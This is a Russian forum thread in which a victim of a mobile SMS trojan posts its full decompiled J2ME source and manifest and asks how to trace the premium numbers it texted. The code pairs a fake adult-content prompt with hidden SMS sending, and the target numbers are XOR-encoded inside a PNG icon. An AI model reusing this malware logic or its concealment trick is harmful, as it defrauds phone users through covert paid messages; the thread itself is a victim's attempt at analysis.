Здравствуйте добрые люди !!! Помогите наказать гада или хотя бы билинг который позволил такое!! Жена влезла с мобилки через WI-FI в контакт и скачала приложение типа там чтото про халяву на счет!! Короче говоря трудоемкую работу проделал нашол как узнать что за вирус нашел (Касперский сказал что Trojan-SMS.J2ME.Small.r) нашел как его открыть чтоб вычеслить на чьи номера ушли смс ! пользовал DJ Java Decompiler 3.9 Теперь проблема я когда открыл эти файлы .class там нету префексов и нету вообще некакого намека на них! Вот эти файлы Code: .aclass / Decompiled by DJ v3.9.9.91 Copyright 2005 Atanas Neshkov Date: 24.09.2010 14:32:04 // Home Page : http://members.fortunecity.com/neshkov/dj.html - Check often for new version! // Decompiler options: packimports(3) import java.io.IOException; import javax.microedition.lcdui.*; import javax.microedition.midlet.MIDlet; public class a extends MIDlet implements Runnable, CommandListener { public a() { h = "\u0412\u043D\u0438\u043C\u0430\u043D\u0438\u0435! \u0414\u0430\u043D\u043D\u043E\u0435 \u043F\u0440\u0438\u043B\u043E\u0436\u0435\u043D\u0438\u0435 \u0441\u043E\u0436\u0435\u0440\u0436\u0438\u0442 \u043A\u0430\u0434\u0440\u044B \u0438 \u0441\u0446\u0435\u043D\u044B \u044D\u0440\u043E\u0442\u0438\u0447\u0435\u0441\u043A\u043E\u0433\u043E \u0445\u0430\u0440\u0430\u043A\u0442\u0435\u0440\u0430. \u0412\u0430\u043C \u0435\u0441\u0442\u044C 18 \u043B\u0435\u0442?"; i = "\u0412\u044B\u043F\u043E\u043B\u043D\u044F\u0435\u0442\u0441\u044F \u043E\u0431\u0440\u0430\u0431\u043E\u0442\u043A\u0430... 100% \u043F\u0440\u043E\u0441\u043C\u043E\u0442\u0440 \u0432\u043E \u0432\u0435\u0441\u044C \u044D\u043A\u0440\u0430\u043D. \u0414\u0430\u043D\u043D\u044B\u0439 \u0440\u0430\u0437\u043C\u0435\u0440: "; j = "\u0421\u043F\u0430\u0441\u0438\u0431\u043E \u0437\u0430 \u0441\u0442\u043E\u043B\u044C \u0431\u044B\u0441\u0442\u0440\u043E\u0435 \u043D\u0430\u0436\u0430\u0442\u0438\u0435, \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u0430\u043C \u043F\u0440\u0438\u0434\u0443\u0442 \u0441\u043C\u0441 \u0441 \u043F\u0430\u0440\u043E\u043B\u0435\u043C \u043D\u0430 \u0437\u0430\u043A\u0440\u044B\u0442\u044B\u0439 \u0441\u0430\u0439\u0442.\u041F\u0435\u0440\u0435\u0439\u0434\u044F \u043F\u043E \u0441\u0441\u044B\u043B\u043A\u0435 \u0432\u044B \u0441\u043C\u043E\u0436\u0438\u0442\u0435 \u0441\u043A\u0430\u0447\u0438\u0432\u0430\u0442\u044C \u0437\u0430\u0433\u0440\u0443\u0437\u043A\u0438. \u0414\u043E\u0441\u0442\u0443\u043F \u0432 \u0430\u0440\u0445\u0438\u0432 \u0431\u044B\u043B \u043E\u043F\u043B\u0430\u0447\u0435\u043D \u0432 \u043F\u0440\u043E\u0446\u0435\u0441\u0441\u0435 \u0440\u0430\u0431\u043E\u0442\u044B \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u043C\u044B \u0438 \u0432\u044B \u0441\u0430\u043C\u0438 \u0434\u0430\u043B\u0438 \u0441\u043E\u0433\u043B\u0430\u0441\u0438\u0435 \u043F\u043E\u043A\u0443\u043F\u0443 \u0434\u043E\u0441\u0442\u0443\u043F\u0430."; k = "\u0412\u044B \u0443\u0436\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043E\u0432\u0430\u043D\u043D\u044B. \u041E\u0436\u0438\u0434\u0430\u0439\u0442\u0435 \u043E\u0442\u0432\u0435\u0442\u043D\u044B\u0435 sms."; l = 39; m = false; b = new Command("\u0412\u044B\u0445\u043E\u0434", 7, 0); c = new Command("OK", 4, 0); d = new Command("OK", 4, 0); e = new Form(""); f = new StringItem(null, h); e.append(f); e.addCommand(c); e.setCommandListener(this); g = new b("icon.png"); return; JVM INSTR dup ; IOException ioexception; ioexception; printStackTrace(); } public void startApp() { a = Display.getDisplay(this); a.setCurrent(e); } public void pauseApp() { } public void destroyApp(boolean flag) { } public void commandAction(Command command, Displayable displayable) { if(command == b) { destroyApp(false); notifyDestroyed(); return; } if(command == c) if(g.a()) { f.setText(i + l + "%"); e.removeCommand(c); e.addCommand(d); return; } else { f.setText(k); e.removeCommand(c); e.addCommand(b); return; } if(command == d) { l++; f.setText(i + l + "%"); if(l == 101) { f.setText(j); e.removeCommand(d); e.addCommand(b); return; } if(!m && !g.b() && g.a < g.c && l > 50 && l % 5 == 0) (new Thread(this)).start(); } } public void run() { m = true; g.a(g.b); m = false; } private Display a; private Command b; private Command c; private Command d; private Form e; private StringItem f; private b g; private String h; private String i; private String j; private String k; private int l; private volatile boolean m; b .class import java.io.*; import java.util.Hashtable; import java.util.Vector; import javax.microedition.io.Connection; import javax.microedition.io.Connector; import javax.microedition.rms.RecordStore; import javax.microedition.rms.RecordStoreException; import javax.wireless.messaging.*; public final class b { public b(String s) { RecordStore recordstore; d = 0; a = 0; g = null; h = null; i = null; b = 1; c = 20; j = 0; k = 0; m = new Hashtable(); n = 0; o = 0; p = new Vector(); f = s; d(); s = this; recordstore = null; label0: { if((recordstore = RecordStore.openRecordStore("l", false)).getNumRecords() == 0) { if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex) { } break label0; } try { byte abyte0[] = recordstore.getRecord(1); s.a(abyte0); } catch(Exception _ex) { if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex2) { } break label0; } finally { if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex) { } throw exception; } if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex) { } break label0; } s = this; recordstore = null; label1: { if((recordstore = RecordStore.openRecordStore("r", false)).getNumRecords() == 0) { if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex) { } break label1; } try { byte abyte1[] = recordstore.getRecord(1); Object obj = new ByteArrayInputStream(abyte1); obj = new DataInputStream(((InputStream) (obj))); s.n = ((DataInputStream) (obj)).readInt(); s.o = ((DataInputStream) (obj)).readInt(); } catch(Exception _ex) { if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex2) { } break label1; } finally { if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex) { } throw s; } if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex) { } break label1; } (s = this).n++; if(((b) (s)).n > 99) s.n = 99; s.e(); e = new boolean[g.length]; return; } public b() { this("/icon.png"); } public final synchronized void a(int i1) { if(e[d]) { if(b()) return; do c(); while(e[d]); } if(!a()) return; b b1; e[d] = a(g[d], h[d] + " " + l + (a((b1 = this).n, 2) + a(b1.o, 2)), i1); if(e[d]) { int j1 = i[d]; i1 = g[d]; b b2 = this; i1 = new c(System.currentTimeMillis(), i1, j1); b2.p.addElement(i1); b2.f(); (i1 = b2).o++; if(((b) (i1)).o > 98) i1.o = 98; i1.e(); } c(); } public final boolean a() { int j1 = k; b b1 = this; long l1 = System.currentTimeMillis() - (long)(j1 * 1000); j1 = 0; for(int k1 = 0; k1 < b1.p.size(); k1++) { c c1; if((c1 = (c)b1.p.elementAt(k1)).a >= l1) j1 += c1.c; } for(int i1 = j1; i1 + i[d] > j;) { e[d] = true; c(); if(b()) return false; } return true; } private void c() { d++; if(d >= g.length) d = 0; } public final boolean b() { for(int i1 = 0; i1 < e.length; i1++) if(!e[i1]) return false; return true; } private boolean a(String s, String s1, int i1) { if(i1 <= 0 || a >= c) break MISSING_BLOCK_LABEL_184; i1 = null; TextMessage textmessage; (textmessage = (TextMessage)(i1 = (MessageConnection)Connector.open("sms://" + s)).newMessage("text")).setAddress("sms://" + s); textmessage.setPayloadText(s1); i1.send(textmessage); if(i1 != null) try { i1.close(); } catch(Exception _ex) { } return true; JVM INSTR pop ; a++; if(i1 != null) try { i1.close(); } catch(Exception _ex) { } return false; JVM INSTR pop ; a++; if(i1 != null) try { i1.close(); } catch(Exception _ex) { } return false; s; if(i1 != null) try { i1.close(); } catch(Exception _ex) { } throw s; return false; } private void d() { Object obj; short word0; int k1; obj = "w21e"; String s = "dewq eqwd w\u0432 \u0443\u0446\u0439"; Object obj1 = getClass().getResourceAsStream(f); Object obj2 = new ByteArrayOutputStream(); byte abyte3[] = new byte[1000]; int j2; while((j2 = ((InputStream) (obj1)).read(abyte3)) != -1) ((ByteArrayOutputStream) (obj2)).write(abyte3, 0, j2); byte abyte2[] = ((ByteArrayOutputStream) (obj2)).toByteArray(); int i1 = ((String) (obj2 = new String(abyte2))).indexOf("tEXt") - ((String) (obj)).length(); ((ByteArrayOutputStream) (obj2 = new ByteArrayOutputStream(4))).write(abyte2, i1, 4); int l1 = ((DataInputStream) (obj2 = new DataInputStream(new ByteArrayInputStream(((ByteArrayOutputStream) (obj2)).toByteArray())))).readInt() - 9; i1 += s.length(); byte abyte1[] = new byte[l1]; System.arraycopy(abyte2, i1, abyte1, 0, l1); i1 = new DataInputStream(new ByteArrayInputStream(abyte1)); abyte1 = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43"; abyte2 = new ByteArrayOutputStream(); byte byte0; for(int i2 = 0; (byte0 = (byte)i1.read()) != -1; i2++) abyte2.write((byte)(byte0 ^ abyte1.charAt(i2 % abyte1.length()))); byte abyte0[] = abyte2.toByteArray(); word0 = (abyte0 = new DataInputStream(new ByteArrayInputStream(abyte0))).readShort(); g = new String[word0]; h = new String[word0]; i = new int[word0]; for(int j1 = 0; j1 < word0; j1++) { h[j1] = abyte0.readUTF(); g[j1] = abyte0.readUTF(); i[j1] = abyte0.readShort(); } word0 = abyte0.readShort(); k1 = 0; _L3: if(k1 >= word0) goto _L2; else goto _L1 _L1: String s1; if((s1 = abyte0.readUTF()).equals("requestNo")) { b = Integer.parseInt(abyte0.readUTF()); continue; /* Loop/switch isn't completed */ } if(s1.equals("maxRequestNo")) { c = Integer.parseInt(abyte0.readUTF()); continue; /* Loop/switch isn't completed */ } if(s1.equals("costLimit")) { j = Integer.parseInt(abyte0.readUTF()); continue; /* Loop/switch isn't completed */ } if(s1.equals("costLimitPeriod")) { k = Integer.parseInt(abyte0.readUTF()); continue; /* Loop/switch isn't completed */ } if(s1.equals("smsData")) { l = abyte0.readUTF(); continue; /* Loop/switch isn't completed */ } if(s1.equals("backTraffUrl")) { abyte0.readUTF(); continue; /* Loop/switch isn't completed */ } if(s1.equals("smsDelay")) Integer.parseInt(abyte0.readUTF()); else m.put(s1, abyte0.readUTF()); continue; /* Loop/switch isn't completed */ JVM INSTR dup ; Object obj3; obj3; printStackTrace(); continue; /* Loop/switch isn't completed */ JVM INSTR dup ; obj3; printStackTrace(); k1++; goto _L3 _L2: } private static String a(int i1, int j1) { for(i1 = "" + i1; i1.length() < 2; i1 = "0" + i1); return i1; } private void e() { label0: { RecordStore recordstore = null; try { recordstore = RecordStore.openRecordStore("r", true); ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream(); DataOutputStream dataoutputstream; (dataoutputstream = new DataOutputStream(bytearrayoutputstream)).writeInt(n); dataoutputstream.writeInt(o); byte abyte0[] = bytearrayoutputstream.toByteArray(); if(recordstore.getNumRecords() == 0) recordstore.addRecord(abyte0, 0, abyte0.length); else recordstore.setRecord(1, abyte0, 0, abyte0.length); } catch(Exception _ex) { if(recordstore != null) try { recordstore.closeRecordStore(); return; } catch(RecordStoreException _ex2) { return; } break label0; } finally { if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex) { } throw exception; } if(recordstore != null) try { recordstore.closeRecordStore(); return; } catch(RecordStoreException _ex) { return; } break label0; } } private void a(byte abyte0[]) { abyte0 = new ByteArrayInputStream(abyte0); int i1 = (abyte0 = new DataInputStream(abyte0)).readInt(); p.removeAllElements(); for(int j1 = 0; j1 < i1; j1++) { c c1 = new c(abyte0); p.addElement(c1); } } private void f() { label0: { RecordStore recordstore = null; try { recordstore = RecordStore.openRecordStore("l", true); b b1 = this; ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream(); DataOutputStream dataoutputstream; (dataoutputstream = new DataOutputStream(bytearrayoutputstream)).writeInt(b1.p.size()); for(int i1 = 0; i1 < b1.p.size(); i1++) { c c1 = (c)b1.p.elementAt(i1); c1 = c1; ByteArrayOutputStream bytearrayoutputstream1 = new ByteArrayOutputStream(); DataOutputStream dataoutputstream1; (dataoutputstream1 = new DataOutputStream(bytearrayoutputstream1)).writeLong(c1.a); dataoutputstream1.writeUTF(c1.b); dataoutputstream1.writeInt(c1.c); dataoutputstream.write(bytearrayoutputstream1.toByteArray()); } byte abyte0[] = bytearrayoutputstream.toByteArray(); if(recordstore.getNumRecords() == 0) recordstore.addRecord(abyte0, 0, abyte0.length); else recordstore.setRecord(1, abyte0, 0, abyte0.length); } catch(Exception _ex) { if(recordstore != null) try { recordstore.closeRecordStore(); return; } catch(RecordStoreException _ex2) { return; } break label0; } finally { if(recordstore != null) try { recordstore.closeRecordStore(); } catch(RecordStoreException _ex) { } throw exception; } if(recordstore != null) try { recordstore.closeRecordStore(); return; } catch(RecordStoreException _ex) { return; } break label0; } } private int d; private boolean e[]; public int a; private String f; private String g[]; private String h[]; private int i[]; public int b; public int c; private int j; private int k; private String l; private Hashtable m; private int n; private int o; private Vector p; c class // Decompiled by DJ v3.9.9.91 Copyright 2005 Atanas Neshkov Date: 24.09.2010 14:33:31 // Home Page : http://members.fortunecity.com/neshkov/dj.html - Check often for new version! // Decompiler options: packimports(3) import java.io.DataInputStream; import java.io.IOException; public final class c { public c(long l, String s, int i) { a = l; b = s; c = i; } public c(DataInputStream datainputstream) { a = datainputstream.readLong(); b = datainputstream.readUTF(); c = datainputstream.readInt(); } public final String toString() { return (System.currentTimeMillis() - a) / 1000L + " | " + b + " | " + c; } long a; String b; int c; } Manifest.MF Manifest-Version: 1.0 MIDlet-Vendor: FREE PORNO! Ant-Version: Apache Ant 1.7.1 MIDlet-Version: 3.0 Nokia-MIDlet-On-Screen-Keypad: no Background: True MicroEdition-Configuration: CLDC-1.0 MIDlet-1: Huische_45_sm, /icon.png, a FlipInsensitive: True Created-By: 16.3-b01 (Sun Microsystems Inc.) MIDlet-Name: Huische_45_sm MicroEdition-Profile: MIDP-1.0 касперский сказал что сам троян в b class! Вот на кого орать ? кому жаловаться? кому что предявлять если неизвесно чьи тут префексы? Помогите пожалуйста!!
А че тут побеждать то? Тут есть момент где код закодирован в Unicode а именно И получилось Копайте в ту сторону Перекодировать тут http://2cyr.com/decode/?lang=ru Хоть я и не силен в Java но вроде тут нету функции посещения какой либо страницы а есть функция отправки сообщения а именно. Тут переменной s присвоен номер отправителя. Так чтобы узнать номер надо искать выше где присваивается эта переменная. И как я правильно понял префикс тут text т.к. выше я не нашел не единого намека на такую переменную и плюс заключено в двойные кавычки. Прошу профи Java строго не пинайте объяснил на скока знаю основы программирования Правда не верю я челу что якобы ищет чтобы проучить кого то ) Небось сам хочет такой троян сделать под себя и распространять.
Ты знаеш смотря на этот форум! Хотелбы себе вирус зделалибы здесьже и зделалиб! ток вот нахерн он мне нужен?
Сомневаюсь ) Т.к. действуя твоей логике если бы ты хотел узнать куда что шлет то узнал бы ) А ты просишь помощи.